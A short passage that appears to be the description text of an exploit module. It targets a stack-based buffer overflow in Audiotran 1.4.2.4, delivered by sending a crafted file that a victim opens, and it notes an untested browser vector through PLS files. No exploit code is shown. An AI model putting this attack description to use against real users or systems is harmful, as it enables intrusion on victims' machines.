          This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.
        An attacker must send the file to victim and the victim must open the file.
        Alternatively, it may be possible to execute code remotely via an embedded
        PLS file within a browser when the PLS extension is registered to Audiotran.
        This alternate vector has not been tested and cannot be exercised directly
        with this module.
